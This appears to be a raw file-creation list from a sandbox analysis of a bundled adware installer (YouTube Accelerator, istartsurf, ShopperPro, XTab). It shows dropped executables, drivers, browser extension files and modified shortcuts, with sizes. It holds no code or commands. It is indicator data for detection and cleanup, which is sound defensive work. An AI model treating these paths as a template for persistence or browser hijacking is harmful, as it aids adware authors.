    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.2 (10864 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.3 (10864 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.0 (10864 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.1 (10864 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.6 (10864 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.7 (10864 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.4 (10864 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.5 (10864 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F391.tmp.6 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT (748 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\tokyo_sprite_full[1].png (1276 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLBBFC5.tmp (144 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebDataJs (40 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\js\pack\ga.js (1552 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\index.html (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\prefs.js (784 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\modules\restoreprefs.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code1.jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\quick_start.xul (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\it-CH\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\defaults\preferences\preferences.js (379 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\js\pack\common.js (10 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\en-US\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\tr\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\ru-MO\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code2.jpg (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\Thumbs.db (42 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\button1.png (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\js\lib\doT.min.js (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\modules\aes.js (784 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\skin\loading.gif (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\pt-BR\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\skin\newtab.ico (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\quick_start.js (784 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\checkbox_select.png (783 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\install.rdf (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\MessageBox.xml (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code5.jpg (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\js\module\mostgrid.js (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\modules\settings.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\bg1.png (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\fr-BE\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\modules\last_tab.js (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\js\js.js (660 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\defaults\preferences\fvd.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\fr-CA\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\loading_bg.png (159 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\js\lib\jquery-2.1.0.min.js (3312 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code4.jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\skin\style.css (784 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\en\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code3.jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\button.png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code6.jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\skin\default_logo.png (1 bytes)
    C:\Users\Public\Desktop\Mozilla Firefox.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\fr-LU\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\js\module\hotSearch.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\min.png (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\modules\addonmanager.js (531 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\js\lib\jquery.autocomplete.js (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\skin\icon.png (628 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\skin\simple.css (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\close.png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\521.json (512 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\uninstallDlg2.xml (19 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\include\tools\popup_image_helper.js (693 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\checked.png (222 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\include\tools\urlrequestor.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\skin\logo.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\checkbox.png (545 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\it\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\pl\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\73F8.tmp (110 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\fr-CH\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\bg.png (673 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\include\speed_dial.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\include\tools\about_blank_hook.js (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\loading_light.png (139 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\bk_shadow.png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\ru\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\unchecked.png (135 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\modules\properties.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome.manifest (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\js\module\search.js (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\skin\googlelogo.png (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\vi\locale.properties (2 bytes)
    C:\Users\Public\Desktop\Google Chrome.lnk (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\es-419\locale.properties (2 bytes)
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome\Google Chrome.lnk (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\UninstallManager.exe (14022 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\es\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\skin\google_trends.png (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\js\module\stat.js (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\modules\remoterequest.js (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\zh-CN\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\73E7.tmp (110 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\scrollbar.bmp (37 bytes)
    %Program Files% (x86)\Mozilla Firefox\browser\searchplugins\istartsurf.xml (553 bytes)
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\fr\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\modules\misc.js (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\Thumbs.db (27 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\include\tools\misc.js (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\zh-TW\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\js\pack\xagainit.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\SMALLTEST[1].htm (70 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libvisual_plugin.dll (65 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\plugins.dat.4008 (135036 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KFQ8SNLQ1V4H9NFBTBQW.temp (196 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JN1QM20S9YNB3PYRTE2E.temp (196 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VIWCJXMEJ2SR5W4H90HM.temp (196 bytes)
    %Program Files%\Common Files\ShopperPro\spbii64.exe (17848 bytes)
    %Program Files%\Common Files\ShopperPro\spbia.exe (11344 bytes)
    %Program Files% (x86)\ShopperPro\ShopperPro.exe (33633 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE448.tmp\AccDownload.dll (11659 bytes)
    %Program Files%\Common Files\ShopperPro\spbiw.sys (1552 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE448.tmp\nsExec.dll (14 bytes)
    %Program Files%\Common Files\ShopperPro\spbii32.exe (13368 bytes)
    %Program Files% (x86)\ShopperPro\Updater.exe (25112 bytes)
    %Program Files%\Common Files\ShopperPro\spbiu.exe (69777 bytes)
    %Program Files% (x86)\ShopperPro\FireFox\chrome.manifest (113 bytes)
    %Program Files% (x86)\ShopperPro\FireFox\content\overlay.xul (203 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE448.tmp\jsdrv.exe (100669 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE448.tmp\MoreInfo.dll (15 bytes)
    %Program Files%\Common Files\ShopperPro\spbici32.dll (37025 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssE437.tmp (361118 bytes)
    %Program Files% (x86)\ShopperPro\JSDriver\jsdrv.sys (1856 bytes)
    %Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (100378 bytes)
    %Program Files% (x86)\ShopperPro\FireFox\content\overlay.js (13 bytes)
    %Program Files% (x86)\ShopperPro\ShopperPro.dll (15168 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE448.tmp\nsProcess.dll (12 bytes)
    C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (1 bytes)
    %Program Files% (x86)\ShopperPro\FireFox\install.rdf (828 bytes)
    %Program Files%\Common Files\ShopperPro\spbici64.dll (48241 bytes)
    %Program Files% (x86)\ShopperPro\database1_0_0.json (11 bytes)
    %Program Files% (x86)\ShopperPro\SPRemove.exe (20416 bytes)
    %Program Files% (x86)\ShopperPro\ShopperPro64.dll (18424 bytes)
    %Program Files% (x86)\ShopperPro\database1_0_0.ej (14 bytes)
    %Program Files% (x86)\ShopperPro\manifest.json (595 bytes)
    %Program Files% (x86)\ShopperPro\FireFox\content\shopperpro_128.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE448.tmp\System.dll (23 bytes)
    %Program Files% (x86)\XTab\conf (1480 bytes)
    %Program Files% (x86)\XTab\BrowerWatchFF.dll (24 bytes)
    %Program Files% (x86)\XTab\BrowerWatchCH.dll (24 bytes)
    %Program Files% (x86)\XTab\IeWatchDog.dll (24 bytes)
    %Program Files% (x86)\XTab\BrowserAction.dll (49 bytes)
    %Program Files% (x86)\XTab\web\img\loading.gif (5 bytes)
    %Program Files% (x86)\XTab\skin\btn.png (2 bytes)
    %Program Files% (x86)\XTab\install.data (68 bytes)
    %Program Files% (x86)\XTab\web\_locales\zh-CN\messages.json (3 bytes)
    %Program Files% (x86)\XTab\web\_locales\en-US\messages.json (3 bytes)
    %Program Files% (x86)\XTab\HPNotify.exe (18514 bytes)
    %Program Files% (x86)\XTab\ffsearch_toolbar!1.0.0.1031.xpi (15 bytes)
    %Program Files% (x86)\XTab\web\_locales\es-419\messages.json (3 bytes)
    %Program Files% (x86)\XTab\web\indexIE8.html (1794 bytes)
    %Program Files% (x86)\XTab\web\js\library.js (4216 bytes)
    %Program Files% (x86)\XTab\web\_locales\pt\messages.json (4 bytes)
    %Program Files% (x86)\XTab\web\ver.txt (47 bytes)
    %Program Files% (x86)\XTab\web\_locales\fr-BE\messages.json (3 bytes)
    %Program Files% (x86)\XTab\skin\input_bk.png (2 bytes)
    %Program Files% (x86)\XTab\web\_locales\pl\messages.json (3 bytes)
    %Program Files% (x86)\XTab\web\_locales\it-IT\messages.json (4 bytes)
    %Program Files% (x86)\XTab\skin\conf_back.png (1623 bytes)
    %Program Files% (x86)\XTab\web\_locales\fr-CA\messages.json (3 bytes)
    %Program Files% (x86)\XTab\uninstall.exe (1343 bytes)
    %Program Files% (x86)\XTab\skin\btn_apply.png (6 bytes)
    %Program Files% (x86)\XTab\skin\conf.xml (8 bytes)
    %Program Files% (x86)\XTab\web\indexIE.html (1 bytes)
    %Program Files% (x86)\XTab\web\_locales\ru-MO\messages.json (4 bytes)
    %Program Files% (x86)\XTab\web\js\xagainit-ie8.js (4 bytes)
    %Program Files% (x86)\XTab\skin\about_bk.png (1436 bytes)
    %Program Files% (x86)\XTab\web\_locales\es-ES\messages.json (3 bytes)
    %Program Files% (x86)\XTab\skin\main.xml (4 bytes)
    %Program Files% (x86)\XTab\web\img\icon48.png (3 bytes)
    %Program Files% (x86)\XTab\skin\radio_2.png (3 bytes)
    %Program Files% (x86)\XTab\searchProvider.xml (8 bytes)
    %Program Files% (x86)\XTab\web\_locales\it-CH\messages.json (3 bytes)
    %Program Files% (x86)\XTab\ProtectService.exe (5469 bytes)
    %Program Files% (x86)\XTab\web\js\js.js (18 bytes)
    %Program Files% (x86)\XTab\web\_locales\fr-CH\messages.json (3 bytes)
    %Program Files% (x86)\XTab\skin\logo.png (5 bytes)
    %Program Files% (x86)\XTab\web\js\xagainit2.0.js (4 bytes)
    %Program Files% (x86)\XTab\web\main.css (19 bytes)
    %Program Files% (x86)\XTab\web\_locales\vi-VI\messages.json (4 bytes)
    %Program Files% (x86)\XTab\web\_locales\ru\messages.json (4 bytes)
    %Program Files% (x86)\XTab\skin\close.png (3 bytes)
    %Program Files% (x86)\XTab\web\data.html (20 bytes)
    %Program Files% (x86)\XTab\web\img\logo32.ico (4 bytes)
    %Program Files% (x86)\XTab\web\img\icon128.png (9 bytes)
    %Program Files% (x86)\XTab\web\js\jquery.autocomplete.js (12 bytes)
    %Program Files% (x86)\XTab\skin\about.png (4 bytes)
    %Program Files% (x86)\XTab\web\_locales\fr-FR\messages.json (3 bytes)
    %Program Files% (x86)\XTab\web\img\icon16.png (628 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnAE2A.tmp\System.dll (23 bytes)
    %Program Files% (x86)\XTab\skin\settings.png (5 bytes)
    %Program Files% (x86)\XTab\web\js\jquery-1.11.0.min.js (4726 bytes)
    %Program Files% (x86)\XTab\web\_locales\fr-LU\messages.json (3 bytes)
    %Program Files% (x86)\XTab\web\js\ga.js (1568 bytes)
    %Program Files% (x86)\XTab\web\js\common.js (2 bytes)
    %Program Files% (x86)\XTab\web\_locales\tr-TR\messages.json (4 bytes)
    %Program Files% (x86)\XTab\SupTab.dll (15928 bytes)
    %Program Files% (x86)\XTab\web\_locales\pt-BR\messages.json (4 bytes)
    %Program Files% (x86)\XTab\web\img\google_trends.png (7 bytes)
    %Program Files% (x86)\XTab\web\_locales\zh-TW\messages.json (3 bytes)
    %Program Files% (x86)\XTab\skin\rigth_arrow.png (2 bytes)
    %Program Files% (x86)\XTab\skin\radio_1.png (3 bytes)
    C:\ProgramData\ShopperPro\config.json (487 bytes)
    C:\ProgramData\ShopperPro\ShopperPro.dll (2321 bytes)
    %Program Files% (x86)\ShopperPro\config.json (1254 bytes)
    %Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1794\database1_0_0.ej (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\config.json (487 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\database1_0_0.json (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\install.rdf (828 bytes)
    %Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1794\jsdrv.exe (22786 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.js (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.xul (203 bytes)
    %Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1794\jsdrv.sys (52 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\shopperpro_128.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\chrome.manifest (113 bytes)
    C:\ProgramData\ShopperPro\database1_0_0.ej (14 bytes)
    C:\ProgramData\ShopperPro\ShopperPro64.dll (3361 bytes)
    %Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1794\config.json (767 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe (8409 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssCEF3.tmp (6045 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\config.ini (111 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH000e.TMP (11493 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH001a.TMP (13284 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\blank.html (75 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH000d.TMP (7861 bytes)
    C:\Users\"%CurrentUserName%"\Desktop\YouTube Accelerator.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VADEU.LNG (18 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0006.TMP (115350 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe (14357 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0019.TMP (11019 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAENG.LNG (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAuninstall.mht (9 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0011.TMP (34 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH001f.TMP (2461 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAIDN.LNG (17 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPOL.LNG (1166 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAROM.LNG (19 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0001.TMP (2104 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe (19739 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelperSetup.exe (27818 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0004.TMP (16 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0009.TMP (2104 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll (3048 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0016.TMP (6341 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0003.TMP (119 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0010.TMP (610 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\OK.gif (329 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0008.TMP (2784 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH000c.TMP (941 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VATRK.LNG (18 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAITA.LNG (1660 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPTB.LNG (401 bytes)
